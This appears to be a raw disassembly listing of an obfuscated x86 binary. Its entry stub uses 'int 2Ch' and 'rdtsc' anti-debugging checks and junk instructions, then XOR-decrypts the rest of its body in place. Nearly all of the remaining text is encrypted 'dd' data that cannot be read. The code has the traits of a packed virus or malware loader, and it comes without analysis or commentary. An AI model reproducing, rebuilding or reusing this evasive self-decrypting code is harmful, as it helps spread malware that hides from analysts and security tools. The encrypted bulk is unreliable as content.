0C9330000h, 0C08525EBh, 2CCD0875h, 0ED79C085h dd 8C660EEBh, 0AE3C1CAh, 0E173E378h, 0DD74FE38h, 0FFFFD5E8h dd 0CFE891FFh, 0F7FFFFFFh, 0C10355D9h, 4246C8Bh, 4246C81h dd 1E07h, 1002Dh, 81B37300h, 301006EDh, 82858D00h, 66003010h dd 0FF9D908Bh, 84E8FFFFh, 0BAFFFFFFh, 0B0FE69F1h, 0D606A53Bh dd 7ED89885h, 249239h, 762AE38Eh, 0DFEE3D3Ch, 8195h, 18h dup(0) dd 809B4700h, 8308AD7Ch, 9103317Ch, 7Ch, 119h dup(0) dd 0A2000000h, 2293h dup(0) db 0 ; =============== S U B R O U T I N E ======================================= public start start proc near nop call loc_3144702E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31447007 proc near ; CODE XREF: .xur_:3144707Ep push ebx mov ecx, 0CBFh mov ebx, edx loc_3144700F: ; CODE XREF: sub_31447007+13j xor [eax], dx lea edx, [ebx+edx] xchg dl, dh lea eax, [eax+2] loop loc_3144700F pop ebx retn sub_31447007 endp ; --------------------------------------------------------------------------- loc_3144701E: ; CODE XREF: .xur_:31447069j pop ebp retn ; --------------------------------------------------------------------------- db 0FFh, 9Bh ; =============== S U B R O U T I N E ======================================= sub_31447022 proc near ; CODE XREF: .xur_:loc_31447048p ; .xur_:3144704Ep rdtsc retn sub_31447022 endp ; --------------------------------------------------------------------------- loc_31447025: ; CODE XREF: .xur_:31447036j ; .xur_:31447040j ... mov eax, 1000h xor ecx, ecx jmp short loc_31447053 ; --------------------------------------------------------------------------- loc_3144702E: ; CODE XREF: start+1p test eax, eax jnz short loc_3144703A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short loc_31447025 jmp short loc_31447048 ; --------------------------------------------------------------------------- loc_3144703A: ; CODE XREF: .xur_:31447030j mov dx, cs shl ebx, 0Ah js short loc_31447025 jnb short loc_31447025 cmp dh, bh jz short loc_31447025 loc_31447048: ; CODE XREF: .xur_:31447038j call sub_31447022 xchg eax, ecx call sub_31447022 loc_31447053: ; CODE XREF: .xur_:3144702Cj neg ecx push ebp add eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 0D006h loc_31447064: ; CODE XREF: .xur_:314470B9j sub eax, 100h jnb short loc_3144701E sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-63h] call sub_31447007 adc al, 9Bh loc_31447085: ; CODE XREF: .xur_:31447096j ; .xur_:3144709Fj mov esp, 533EBEA2h jp short loc_314470C1 and [edx+33EDB6CBh], edx xor byte ptr [ecx], 73h stosd jmp short loc_31447085 ; --------------------------------------------------------------------------- mov ds:0D6A1052Eh, al sub [ebx], ch jg short loc_31447085 jmp fword ptr [edi-31h] ; --------------------------------------------------------------------------- dd 68C2820Bh, 8669E085h, 0AB5D65DBh, 3F264DB7h ; --------------------------------------------------------------------------- loc_314470B4: ; CODE XREF: .xur_:314470BBj fdivr qword ptr [ebp+21h] lahf push ds jb short loc_31447064 jno short loc_314470B4 inc edx and ebp, edi ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- loc_314470C1: ; CODE XREF: .xur_:3144708Aj mov bl, 0ECh push eax ; --------------------------------------------------------------------------- dd 0C18AEB62h, 9FC2A694h, 73E7449Dh, 557B0F13h, 8291A8B4h dd 51B806D5h, 891789EDh, 0F48A68FCh, 50F4FA57h, 0BE2128D1h dd 8E43A6AAh, 0D95E157Dh, 831A2BBFh, 6A8DC62Ah, 0B04904B7h dd 3AB5B905h, 0FA1FE395h, 1C2FCDC5h, 0BEC8B4h, 0CB2380CCh dd 0A890367h, 4900ED6Dh, 0F06457FCh, 0C8C8D45Dh, 0D3B3E605h dd 85D13A44h, 86CA12Bh, 27088021h, 0C15D25D9h, 0D0A8898Ah dd 0F1D8215Fh, 0EFF6A3D0h, 290E47A8h, 75BC9AE3h, 45C77DE1h dd 7BEF0D00h, 96DF3017h, 0B1157EA7h, 31352F1Ah, 0E64BB4FAh dd 0A8EBAA0Ah, 0A80CBA2Eh, 0B82C400Ah, 0EE3A3967h, 0EE62A1F2h dd 8F05053Bh, 7B88C121h, 0AA12E140h, 2FBFF76Bh, 0A59F8ECh dd 0A0DE7C04h, 6B38C72Ch, 0F7A79DD5h, 0E8C5CE77h, 0CC75AB78h dd 14FCDF98h, 283FD96h, 58CE6ACEh, 68FC2F08h, 0C7848C5h dd 9E02EF1Bh, 2DDA5D3Ah, 173B31BFh, 6FC30C18h, 1FEB2E03h dd 0CD09728Ch, 40A483C2h, 4EC078B6h, 76EA39D6h, 957A6E97h dd 0AC104AEAh, 471E69DFh, 69464FF3h, 7A40A391h, 0F5FDB519h dd 0B32740B4h, 5F4F7EC2h, 4CBE86DAh, 686BC37Ah, 757F3700h dd 0E3DE64B3h, 4F2267DBh, 5BA78DC1h, 0DC66D407h, 3ACD3D37h dd 0C1263695h, 0C93FF95Ch, 0F76BBEEDh, 17D6EB10h, 0D515C5EEh dd 5F2C65CBh, 63AD000Eh, 0FD659B97h, 98FC5E1Ah, 0A668D134h dd 0CE0246C5h, 0EDC2C7EEh, 468A0DDh, 0F7533DCBh, 3A9AD83Ch dd 3DF873BDh, 71BE597Eh, 0B6EC15Dh, 33F544A9h, 4195F556h dd 0DD4070B6h, 624EEA79h, 0FA76803Eh, 0AD114BAAh, 48AE4CA3h dd 0BA47EBE5h, 74881663h, 33E422E4h, 45F35286h, 760E6E92h dd 0EA4EB8C6h, 8764A788h, 266CBE22h, 0F51F59BDh, 1AF6B00Ch dd 0A0C070F3h, 1F01AA4h, 179C6F9Ch, 4FEF53C4h, 6DEB52E2h dd 6B5127FAh, 93F5F57Dh, 0F72F4F30h, 0C92D57E1h, 66918669h dd 7AE89D01h, 9ACE1231h, 0BA98A3C8h, 0E01D0357h, 672886Dh dd 0F96A9421h, 0AE053F5Ch, 3CA2E0B9h, 16BEFED9h, 8DD6205Eh dd 88FEAA7Fh, 0A83C6F10h, 6A1D5CC4h, 21BD7CD0h, 0FED2177Bh dd 1478B00Dh, 85A2C83Ah, 3A51E87Ch, 24CC0CE6h, 1E42EABh dd 2B5678A0h, 0B6E5ABB8h, 0AD32E053h, 67508AEFh, 0B7C19004h dd 0DD9F2324h, 38AE5ACEh, 588CDF94h, 0DA992C74h, 710D2CA0h dd 0AE82C72Bh, 0C428631Dh, 5FC21B89h, 0D5E315FCh, 1EF903BCh dd 0C694A4FDh, 0CF5F9614h, 0CC9E5EBh, 569C9C43h, 846A3AF4h dd 220C60B4h, 0CE8F70E4h, 0E0D10B6Fh, 0F792EB0Eh, 861BE5Ah dd 3EEFD8CDh, 0BF3D77DBh, 709F9FDDh, 0A3979FBAh, 51ECE3CAh dd 45C337CCh, 0E01AFD8Ah, 1113927Dh, 7CBE3F18h, 0B11527B3h dd 0CDAE24Eh, 0E921D7B8h, 3B73DFD4h, 45818B35h, 0D05C9239h dd 53B7AFD6h, 0EE38587Bh, 8D87EB00h, 26E2C24Ch, 0D7233793h dd 5ABEA6DFh, 9F08939Dh, 50B7E6Dh, 2BBFE390h, 39AF3D97h dd 60F87B6Ch, 49ED9AFEh, 97CB2599h, 3291718Dh, 3EDEE0CFh dd 682187CFh, 8E679115h, 0AE163A25h, 0B47D283Bh, 0E4214C43h dd 0FA2C5F71h, 0A5E827Dh, 0A509554Fh, 2FCB9242h, 8B4F0CB6h dd 1FAC7D0Ah, 7412CA7Fh, 0D97C2BF8h, 17ABA42Ch, 0C84B151Bh dd 0F8681B4Fh, 184C9C0Bh, 937D05E5h, 0DB4D133Ah, 0E97DAD2Eh dd 0F1B7E203h, 1DE92B1Eh, 6E950EEAh, 0BDEBF23Dh, 0F0548EE3h dd 0EEAB4CDEh, 76EDB14Ah, 0A85336B1h, 39A79F32h, 62A4C3F9h dd 92C61A85h, 7BC70FA4h, 9F7A369Ch, 496E949Ah, 3AE19C30h dd 0C02608Bh, 34A8F837h, 0CD596DBBh, 40F79D93h, 2DD0A337h dd 37043EA3h, 37163816h, 296D20FCh, 41FF8EE6h, 8F86990Eh dd 9720580Ch, 15F2E044h, 0F7C4EE20h, 0B859164Ah, 9031ED61h dd 4060484Eh, 418993B4h, 0CE22828Ch, 559E887Eh, 0DAFBB82Ch dd 5D8A8FC3h, 50B4EAB3h, 8DE40DEh, 9B6F1DB8h, 54858F08h dd 70E1DB96h, 7BBF549h, 0A300C0A0h, 72A27BDFh, 18A6F7BFh dd 9AE7E4C5h, 2A3DF314h, 7CD29FDFh, 94C8198Bh, 0D06EA1D9h dd 5FD13B33h, 65F92966h, 0C4E506E9h, 9BFF39B5h, 370F2C60h dd 2E355EF8h, 5CFA08F8h, 0FD874D08h, 0A206C05Ch, 67A1DA3Eh dd 896DBCEAh, 72BF4125h, 8572AF0Fh, 0C35D176Eh, 166C6A49h dd 0A9262A23h, 9A36172Fh, 98864DE9h, 80010124h, 1AFEBA4Ch dd 0E3DF7CB7h, 2E52EA8h, 974399D9h, 0EF430C47h, 52A86C53h dd 0ED4104EEh, 88EC2489h, 2387C024h, 0BE225BBFh, 0AEBA75Ah dd 0DE55040Ah, 0D6582CA0h, 5F4E4387h, 6C7803Dh, 13A5BF3Dh dd 963ED699h, 0F4B557F2h, 45F6AB58h, 0A96335BEh, 0E9D700Bh dd 213EB71h, 0EF7549F2h, 38E8B45Ah, 0A14303B8h, 6EBC6E03h dd 6808D449h, 0CD4E24D1h, 3FE2B92Ch, 0BB5B0598h, 1C9F7702h dd 7139C87Dh, 0C56638DCh, 5AAA220h, 95241B90h, 13924918h dd 6408D17Bh, 0C0554FF2h, 28C58B2Bh, 8721E0BBh, 0EBB345F0h dd 7AE3DE6Dh, 0DC6F15BAh, 0DD8534h, 8E36FE98h, 0F8AD27EFh dd 40FDA343h, 0AC4B3295h, 2BD39D34h, 9809A1C4h, 0F9865EF3h dd 6990BD42h, 935F0DB0h, 3A38D0Bh, 98269A9Ah, 0F49573EDh dd 47E39151h, 0BB5002BDh, 28BE631Eh, 700DE605h, 0FA6F55E6h dd 5FE4BE68h, 0A15C35D6h, 15B86437h, 6E02C158h, 0D26F04A7h dd 34C1B10Fh, 0B5061CB1h, 16957114h, 1237CA7Eh, 0E0652FE9h dd 24D98126h, 8D26C881h, 3F87771Bh, 6D18F11Ah, 0C06B28E6h dd 26F78135h, 9E2DE299h, 0C49050E9h, 54E1FA21h, 0CB723DE8h dd 33D69A11h, 9438EFBCh, 0E9B729CCh, 4AEE905Ch, 0B6470FB3h dd 1AC1BB36h, 9D0AE19Ch, 0FC9E43E6h, 4BD5CB41h, 0BB4830BEh dd 0AA76816h, 0FF22E445h, 0CC8A52DCh, 58ECBE59h, 0B65A24B4h dd 0AA27A03h, 6805CA73h, 0CD423EE3h, 50C1BB52h, 0B8571899h dd 1D9A0F10h, 643DCE6Fh, 0DA6D37CBh, 0EA7A13Dh, 0B7140BBEh dd 1F92611Fh, 7114D853h, 0CA6303B0h, 26C7A125h, 9528CF83h dd 0E78A74F1h, 6B30B85Dh, 0C44A3DD2h, 22D08D3Dh, 9E00899Eh dd 0F48E47E7h, 64B48C50h, 0C95228D7h, 37CEA559h, 8024F597h dd 0EBBC19BCh, 7B8DB252h, 824C00A0h, 5FA69009h, 0BC2AF2A8h dd 0D49C5EFFh, 59E6B945h, 0AE5B1DAEh, 35CA4214h, 6823EA67h dd 0F3505CF1h, 52EFBA51h, 0B7656FA1h, 1B84C1Ah, 6505F16Ch dd 0CF5440C1h, 3ED2BE5Ah, 0B850188Fh, 11B14705h, 4915E367h dd 0AA6B2BC2h, 31DB8B10h, 0A1281C94h, 18B07410h, 7F08E417h dd 0D8532BC6h, 2B08C21h, 8D2FC59Ch, 0D2926CF6h, 74F7D36Ch dd 0DD7B30D5h, 38D8A427h, 0A052E58Ah, 0EC9F65FEh, 62EDB544h dd 0BF4630A9h, 28FD8315h, 902DF393h, 0F39B5FC1h, 2BFCBB49h dd 0B4691789h, 4B19F07h, 9F0FEBADh, 0D28847FDh, 46D8CF4Bh dd 0AC54188Dh, 0D9F601Dh, 6C0ED467h, 0EA4C3BF1h, 6FEDB777h dd 9B4F14BCh, 0CB65F16h, 6401CE7Fh, 0EA7D0CA6h, 6CAB831h dd 0DB5A14B5h, 6956739h, 6325C077h, 0DF752AC2h, 2CC4B03Bh dd 0AC461186h, 1891550Ah, 7B19E677h, 0DD7839C0h, 1EC6A54Fh dd 8C39E998h, 0EDBE55E6h, 7EF6C852h, 0D77B1AD7h, 55C08039h dd 8505F9BFh, 0D8965AE9h, 43FEB05Eh, 0A74B17AFh, 3DAD8B32h dd 9934FD8Ch, 0C5826193h, 48E5A35Ch, 0BC5E0C9Fh, 2FAB6111h dd 8F0EF69Ah, 0ECAE36E3h, 5AF98459h, 0AB5603B3h, 0BF7338h dd 6B3CC568h, 0F67053E0h, 53ECAC6Fh, 823914B9h, 4874F21h dd 7E1BDB6Ch, 0CA6944D8h, 32C0AC2Ch, 0B92B19B1h, 18B8150Dh dd 7113DE7Ah, 0C8764BDBh dd 3BC38E3Eh, 8D3EE391h, 7E8771E1h, 6F1ED269h, 0DA7D21B6h dd 20C0ED35h, 9E2BE38Fh, 0F1876A87h, 45EACC47h, 0D4731AC9h dd 37F2912Bh, 9439EB9Dh, 0F89E638Eh, 42E5B74Ch, 0B64327B0h dd 33AF941Ch, 9D28F59Fh, 0F28362F1h, 6792A944h, 0BB4813A5h dd 2BBC6708h, 0BE0DF871h, 0EE90719Ch, 50F7A152h, 0B54421A6h dd 7BD5C03h, 6823A449h, 0CF775AD7h, 59F2AE5Bh, 0BE7D11B8h dd 33D67518h, 5D30FD4Bh, 863E75E3h, 43EBAD01h, 9D2519B2h dd 1CAE7817h, 1401D75Dh, 0E07428E3h, 1C08D3Ch, 9D0CFA82h dd 0E5B61EC3h, 7E0AE87Ah, 0D74C2DCAh, 14D09A3Fh, 0BE50CB96h dd 0E2B842ECh, 4EE79650h, 0C5643ECAh, 0B13FF61Bh, 0A29FBAF0h dd 8EF22CF8h, 0DC14AC3h, 0AE2808C5h, 0C93AC64h, 36D59D96h dd 0C52DB8C7h, 61D4A466h, 5ED03A9Fh, 66FA2EA5h, 0FE695B80h dd 0AC2AEF0Bh, 3F5F5639h, 57BB2717h, 6DE11EC6h, 623C5939h dd 5C092BA5h, 0E88A5D5h, 0D6FDF2DBh, 74D882F2h, 8C1BFD11h dd 210E48F2h, 0CEA98993h, 8804142Eh, 7BCF197Dh, 7C28B672h dd 0EF9627B3h, 4CDAEA4Eh, 181BD6B8h, 0B2CC9D11h, 0E2D8E41Fh dd 8836572Fh, 27487455h, 6EDF07ACh, 6AED179Eh, 241D4F2Ah dd 0BC236DD1h, 0A5EDAF8Dh, 58DC1825h, 1DF41EB8h, 2B96A5A2h dd 397E8CC8h, 0E44E009Ch, 0FC50B03Fh, 8E42BA14h, 717ED034h dd 46CE9430h, 58E6B7EFh, 0C3E82C05h, 76023CB9h, 0C6622809h dd 0FE8DF75Dh, 0AF560D41h, 85E3A378h, 0A5095A6Ah, 0BF5BC3AAh dd 84F8F222h, 763241BBh, 4C75AF13h, 0B662A72Fh, 8E98E579h dd 0C28A0569h, 29B01B4Fh, 492CE74Bh, 8682AEE4h, 0C9B2DC7Ah dd 7CB2A3EFh, 84D80887h, 1F877F7Ch, 0BA1EB0E9h, 0D4E4F357h dd 0C04E2F1Fh, 610438Dh, 1690A8BDh, 0C770FC3h, 76C0DE7Eh dd 0FB9F16F9h, 2073F7F2h, 0E091FB35h, 7CA9A1EAh, 47C7317Fh dd 0A362B600h, 0F3FC5D58h, 0CBAB2D37h, 0DACC69A2h, 9ABAC8E9h dd 569A86Fh, 0FBD4B5A2h, 0B6A3893Eh, 0E620A46Dh, 7D6F8473h dd 8770AA0Fh, 0A70A4D23h, 695EE344h, 16CA1B14h, 0CBDB089h dd 0E695F610h, 69918E5Bh, 9D26B044h, 0B48409B5h, 2EA377D5h dd 0E581D24Eh, 85339E22h, 5C706D52h, 0C1721C66h, 51C124B8h dd 0E68255A0h, 542030B9h, 54EC7C59h, 0D5C3F937h, 88F11BA4h dd 1B84CEAEh, 0D9972305h, 75E569E9h, 1BAA97CBh, 3E99701Bh dd 0CEE604CFh, 0CAC63D0Fh, 38C90367h, 1B067383h, 67438ADh dd 36AAF81Ch, 0D9111251h, 0D554066Dh, 866BA408h, 0A204374Fh dd 39C98E3Eh, 273C75D8h, 43FD4DE1h, 838E200Fh, 0A809622Eh dd 2EF8E145h, 0DF4794E0h, 2888177Bh, 0EA2EB242h, 803E1424h dd 0C666DB4Ch, 0E64B8770h, 0EBB44F82h, 1DEAE81Fh, 0B71B54D0h dd 0C749BD13h, 0ED61A0CBh, 0FC1AA01Fh, 4BD3907Fh, 0BE225ABBh dd 7D09090Dh, 0F45893D5h, 0A4FAB96Fh, 0AFD7C71Bh, 263F1606h dd 0B44FAD75h, 0AA0D9896h, 30565C0h, 31A5E497h, 0B9F0EC94h dd 0F23452B8h, 256B502h, 0CF456D13h, 60D8BF6Eh, 0D233E759h dd 5D790B6Fh, 507DCCCAh, 0F458EA56h, 6FF38C10h, 4FC1258Bh dd 75E9385Bh, 127C6990h, 0DFF048ACh, 0D355EB63h, 0E175541Bh dd 8575E62Eh, 4A7B8432h, 32164B71h, 4CC4E070h, 94C10EAFh dd 60E71091h, 1E173606h, 0BA1D66AAh, 8647A784h, 675C4C74h dd 8AEE2774h, 25794629h, 0FEA45DC1h, 1DAF8D66h, 0F95AAD77h dd 91F5CF16h, 0CAE492Dh, 466D95BDh, 2C8FAF5Dh, 7643EFB9h dd 99BAF356h, 6259FB7Bh, 98636BA5h, 9858F939h, 5D68912Fh dd 1A0CFD9Bh, 3A9ED784h, 0D539C33Fh, 20EA8C71h, 439E15Eh dd 0A60AE622h, 49635D42h, 0D34D4571h, 77DB8DFCh, 67569313h dd 972DE65Dh, 48206046h, 0EEEA80E4h, 5EC23B5Fh, 7C1A9727h dd 186724C1h, 33C6CC6Ch, 0CAB1F96Ah, 0F09D56EEh, 23FA3C50h dd 943062CCh, 117C9B22h, 0C05A8E0Dh, 8CD73937h, 75693328h dd 0E8BFCA3Ch, 9DF2FA6Eh, 0A80CC5A9h, 93F7397Ch, 59FD8F2Fh dd 0A8420AA4h, 0F1370101h, 0FF53B701h, 0AC8AF71Eh, 0B0101B05h dd 0D00446FAh, 68CF603Dh, 573B2707h, 34FA6EF4h, 3C90F238h dd 0CC67E155h, 41860F43h, 5D20FEC7h, 575D14FBh, 738DD5D1h dd 0FA46FCDFh, 53DC8385h, 0D780B125h, 0BA7CC130h, 0B3AFE77Bh dd 0C1150925h, 80E4F585h, 9A22B81Ch, 86073A5Ah, 22086552h dd 6750B9C3h, 0B7C55F3Dh, 0A97DBC23h, 8D0F2D33h, 0D3190659h dd 0C379E371h, 0E167A08Fh, 2A8DF604h, 0F4060640h, 37C17560h dd 0FA5E8473h, 0BF60A769h, 0F97FCD01h, 0BD4A2C90h, 3AAF600Eh dd 721CF652h, 0F0615AF4h, 58F6B175h, 0E13616A1h, 3F1E81BCh dd 8B3E7CFFh, 0E36D4345h, 6CF5223Ch, 6CB06EB0h, 74E80CD2h dd 0F73BBA9h, 0E70ACAABh, 0BA561DB8h, 0E4C9D687h, 7BDF1831h dd 9BD1D517h, 83BE4AF5h, 0E7D645A9h, 72C67F0Ah, 82D631E0h dd 4F87D04Ah, 92D5C046h, 273CF064h, 2AD183CBh, 862DA392h dd 248964A0h, 0D72336C0h, 5ABEF67Bh, 0A52F8A0h, 0A0DEFC04h dd 27D1432Ch, 4F3A2D4Ch, 51EB99FFh, 97ED10FDh, 16FB04B6h dd 0CD66CFD0h, 0A7623BC1h, 97CA6F69h, 3349C3B1h, 0EB97C49Fh dd 699DE610h, 0FA5BC42Ah, 0FA2C0C40h, 0A5E8D0Ah, 36C9C7FEh dd 41F0594Eh, 5A5978DCh, 2805E4Ch, 848AFD1Eh, 0AC206330h dd 47AAA5A1h, 2AF8F2E3h, 72E11A7Eh, 9562FBAEh, 0DB0861C0h dd 4EB2EA4Bh, 0BCD879BDh, 0D2E811AFh, 2164377h, 311E6791h dd 96BACE15h, 0F32CDD7Ah, 0AB9DA35Fh, 0AB9289ACh, 6C746DF6h dd 24413A5Eh, 9208F1F9h, 70F35BE1h, 807A93DCh, 430869E0h dd 619E2416h, 0E133100Ch, 0D6F88195h, 71C0236h, 45C16F52h dd 0DC440F25h, 4588C69h, 2A380B2Ah, 3AAEF65Bh, 6012F0A5h dd 70E42015h, 25041C36h, 25054498h, 0BE5A2032h, 69C9BAEDh dd 77EB3B0Ah, 3C013D9Dh, 0FD414B9Fh, 22FCE520h, 0E347E9E4h dd 81B59C80h, 2968CF9Eh, 918DADB6h, 0B0B3DD7Bh, 0DA5BF061h dd 7A11A087h, 0DFBF3A2Dh, 3E96A642h, 568ADA3Bh, 0F13F8F99h dd 190F7AD8h, 27BBEFB8h, 0EC51E54Fh, 0BD00FB6Fh, 920CC6F8h dd 0FE62CE95h, 0A792FC1Ah, 0F9031C4Eh, 0E1C8966h, 0CD9CCF01h dd 0F94BC7CCh, 0CA99E319h, 0E01EE747h, 84A826Dh, 8F6A9426h dd 34FA1BA7h, 3C90F03Fh, 5C072652h, 42F86BC1h, 1725200Fh dd 83F2CD9Eh, 738986D0h, 0A9CFF7E0h, 0D4DD2755h, 0F6D3703Dh dd 0CF96C04Bh, 1BAED851h, 0B419D0B6h, 0B571E1D3h, 4B7F8937h dd 9C1BC147h, 7476EF63h, 0D67AB09Dh, 0E58A4BECh, 18E2A548h dd 0D84928FFh, 6A8F9A36h, 9F3BF5DBh, 8EC301BCh, 7DDE9E78h dd 87742F83h, 3AB18F14h, 951DEC92h, 0FA8B47F9h, 44F19D5Eh dd 0B94A3A91h, 3A96D1Eh, 6936C370h, 0F86548FFh, 52F8B678h dd 826A03A7h, 0B0790Eh, 7A09D26Fh, 0CA411DD6h, 5FD5B932h dd 0B66D1BB7h, 0DBB7B1Ah, 6E07FE4Dh, 0D86F2CC2h, 2ADBB323h dd 85281784h, 0FAA5821h, 7F08DB70h, 0F0712AC9h, 25DC9A3Eh dd 8E3FE48Ah, 0DE954EEBh, 69F2D253h, 0FE5305BAh, 1F6A601h dd 871FD0B5h, 0FA8255E8h, 78FCA449h, 0DB4D3496h, 6CD8F33h dd 872BE6B4h, 0C68040F7h, 42FCBB48h, 83760AA7h, 0EA98F1Bh dd 0FC12FF8Ch, 0F08954CDh, 5DDEA451h, 0CF311FBCh, 3B9C066Ah dd 7361B141h, 0F77A53D2h, 4DF3F956h, 0B85600BDh, 6FD6C01h dd 0A01CE62h, 0EE4A0AE9h, 2AC1BA62h, 0B54D14BBh, 258F1E00h dd 7E55FD56h, 0E25905E4h dd 2EDDC369h, 0D133F496h, 7D094E75h, 457CB61Ah, 93C5BC34h dd 0CB74EC60h, 0E97D9284h, 0E57DDD86h, 0DE838D0Bh, 866A4754h dd 0E032ED3Dh, 0F064A4E7h, 0A5D385D4h, 0A7ECEE5Dh, 0B438A0FDh dd 7D7D777Dh, 7C5BA5D2h, 37A132E2h, 0A81C6E49h, 0C81C4F88h dd 4AAF84EAh, 77989C30h, 0D771CDDDh, 352929C8h, 91D8A233h dd 7F678DE1h, 6F39A337h, 5F0A54A2h, 0BB5A0A8h, 0F246F7D8h dd 37A00B7Bh, 0C70A2E6h, 0E44D16A9h, 0EEAA46Ah, 8CD484DFh dd 73DC2650h, 7963C5D5h, 0D3FA1CB2h, 0B65218B2h, 0D4628F73h dd 0B239881h, 0F2AE471Eh, 0B51953BCh, 0FF7A801h, 0AF61DAA2h dd 79EA68C4h, 11AFEEB6h, 4576B2BEh, 5C530AA6h, 0A75690F4h dd 0BEA36EDCh, 64C8E818h, 56D86189h, 5EF2D611h, 0F95D9D13h dd 0E48B4596h, 5BFDA443h, 9A2E29AAh, 4FC49698h, 85ED9E32h dd 9BCF1284h, 0BB17E238h, 0D10577ECh, 47F78CE4h, 0F83AA438h dd 922C4E36h, 39C9493Eh, 553C75D9h, 43CE5BC1h, 0B3FFF20Fh dd 0A93D6DA7h, 0BB5B41ADh, 5A841A1Fh, 7AEE37EBh, 0B0FAE216h dd 0B0246D23h, 1B3A654Ch, 0B64AB3C7h, 0EBE474D6h, 1EE8EB1Dh dd 489B54B8h, 629DFEC6h, 0B7910FEEh, 56107FCh, 23B7E0A7h dd 332431EDh, 699D66EFh, 0A40EC5F5h, 70A17DC0h, 1AA5D2BEh dd 50D63AC6h, 60F4D66Ch, 0D6711D3Ah, 7EFA33A7h, 0CE6A3D20h dd 0DE4DE432h, 0E20C0458h, 2568A4Fh, 0AE5E6EC8h, 0C76E28D1h dd 9FB2B72Bh, 38D23B7Ah, 0E159F95Eh, 5BF7B34Bh, 2AEF5987h dd 0A26877EBh, 0AA312629h, 0D78B52E3h, 9B1A0429h, 30CFB547h dd 6C8C4DB6h, 4CCE66F8h, 462AE518h, 0E3471FE2h, 2424151Fh dd 174CB5C3h, 0B3CD4111h, 16A7A1Fh, 0B5F522CFh, 7B8F155h dd 0AE04C0B8h, 0CEC06EDBh, 0DA898E6Ah, 0F00E2C54h, 5BB3105Ch dd 0BE0993F7h, 0C7814BC1h, 49E5A54Ch, 387B6489h, 52ECF2F6h dd 48EC09FEh, 98CC1EB6h, 3397185Ch, 0CE583DCFh, 43809395h dd 91E5A135h, 9F33231Eh, 11696AB6h, 876F72E6h, 6941F226h dd 886F9826h, 33874F63h, 4195C199h, 0DD2A2E8Dh, 75B3462Eh dd 0EDF6AF13h, 57BCA27Dh, 0F52F1AB6h, 0E37795D6h, 16E96F7Fh dd 197DA592h, 9E81C44Ah, 435BEC60h, 0BD4E87EBh, 0CEAA6DD5h dd 64AA8F12h, 441F14F0h, 669082C2h, 0F63D1DF2h, 1F0298Dh dd 1793669Dh, 7FAB06C3h, 5DF1D083h, 7AEA511h, 93FBD86Bh dd 67C5CB2Fh, 8C632F84h, 288C2F31h, 6A9C9C4Ch, 9ACE1DEAh dd 0B19612B3h, 0D0346FE4h, 6BCA60FFh, 0B3E7A307h, 0A1352642h dd 0C51D5464h, 3F3B44F2h, 8D29FE8Ah, 278C178Dh, 0A70C4599h dd 43A5F0C0h, 4EAEFADFh, 2DDD167Bh, 1479B07Dh, 7286B3B0h dd 0CBAED761h, 0E5481222h, 546F4D81h, 0E42DB876h, 8630AE22h dd 8756B52h, 64388498h, 78EB249Bh, 12AC26B6h, 3EC3B1BEh dd 689C67E4h, 0DA2290F4h, 0AE64AE02h, 0D6DDC61Ah, 0F4028850h dd 50037960h, 0FA5F1E7Fh, 99B9B996h, 6BCDBAh, 0EBBDED43h dd 0E30C0357h, 155B32Ch, 0F600539Ch, 0C899BE39h, 0E21C9A46h dd 9229896Eh, 90C2106h, 2E9440A4h, 0E8255AAh, 8B2D1CDAh dd 914DEE26h, 8A739C3Ah, 0EA8B486Bh, 0C8A9E247h, 0D064CD5Ch dd 93D7A97Ch, 0E9854416h, 0B115DADAh, 0AA9BB74Dh, 0B36FB061h dd 0A8838A7Ch, 0A00CBA2Eh, 0B82C7507h, 0B15FF1E5h, 63AD7419h dd 0B9CD8D1Fh, 4C88AB25h, 0BF235CD4h, 0CF41A409h, 0F569B807h dd 84D0691Ch, 5F05DA1h, 0C97A63F7h, 254EF4D4h, 1CA18DD9h dd 96B13690h, 20948521h, 893A6984h, 894C0D4Dh, 0B87610Bh dd 0BA4630CEh, 69AF292Ah, 0FF17CC58h, 733B0C40h, 2F6EA70Bh dd 85717488h, 608AFD6Fh, 0FE1A5DE6h, 53A22B59h, 62508E6Ah dd 0E55F03A7h, 10ABC406h, 0C85FEA1Ch, 0B9601A4Eh, 187CB5B5h dd 0E44750DEh, 0BF27141Ch, 624DB6C0h, 0B4FD1308h, 0FC83D620h dd 0B7D73CA0h, 55BC1A07h, 0D5728DF1h, 0DCEF22E8h, 0C9356D8h dd 5A65EF2h, 572BA951h, 0F75B9C90h, 564BA293h, 7A91FA0Eh dd 39B99A9Ah, 0E7C7304Eh, 7035E53Fh, 0A8D7192Fh, 1325235h dd 0CE325CC5h, 44E38AE6h, 0CA43A236h, 0C9523DCBh, 0D70B276Fh dd 563943FDh, 5FAA0E8Ah, 8691229Ch, 96216B1Dh, 0B3A86F43h dd 0BC500F70h, 882DFF91h, 504D1EBh, 0DA9C424Ch, 0C3460D4Bh dd 6E89AA2Ah, 4EC9333Dh, 9ED9441Bh, 0E7A1B941h, 655278AEh dd 57CE88DCh, 85D936E8h, 48AECA23h, 0BB1F2C8Dh, 7C2361A7h dd 4CD58FC3h, 8CC007A0h, 0E09AB129h, 0F206F241h, 5DC1FB5Fh dd 0D6D950FAh, 93F701B8h, 0D16CC4D9h, 0CDEF3A34h, 4B7D8F66h dd 0A963AD2Ch, 0B0BFAD63h, 0CD1AD307h, 6BB0612Dh, 0E2CF096Dh dd 3644978Dh, 0F70555A3h, 162D4FC1h, 17BE75E9h, 7272947Bh dd 0CD5AAB0Fh, 0AB6616FAh, 2BA68B15h, 1E427CE0h, 5C48E82Dh dd 9778823Ch, 2B1CB249h, 4AAEEB46h, 0CB7E066Eh, 0D691EB2h dd 1B4F9726h, 9859C135h, 3E4EF63h, 13008A84h, 0B7C16C1Ch dd 0DD7E4324h, 0BFF9DFB0h, 58D6F65Ah, 0DD60240Ah, 1B0D2CA0h dd 29BDED6Eh, 0CBD79A45h, 5FC13CE5h, 0B1DB11FCh, 0A6F903B9h dd 6157CDFBh, 0CF45389Dh, 517FFB39h, 0FE65AF2Dh, 0AC2A130Bh dd 385B5039h, 0D234ED50h, 0E418386Fh, 3842E98Fh, 0F25610A5h dd 31A2C328h, 4CC227DBh, 74E83803h, 8B7C6D94h, 0AA0E4AFAh dd 6BFA66CEh, 6B877ED2h, 0F9672136h, 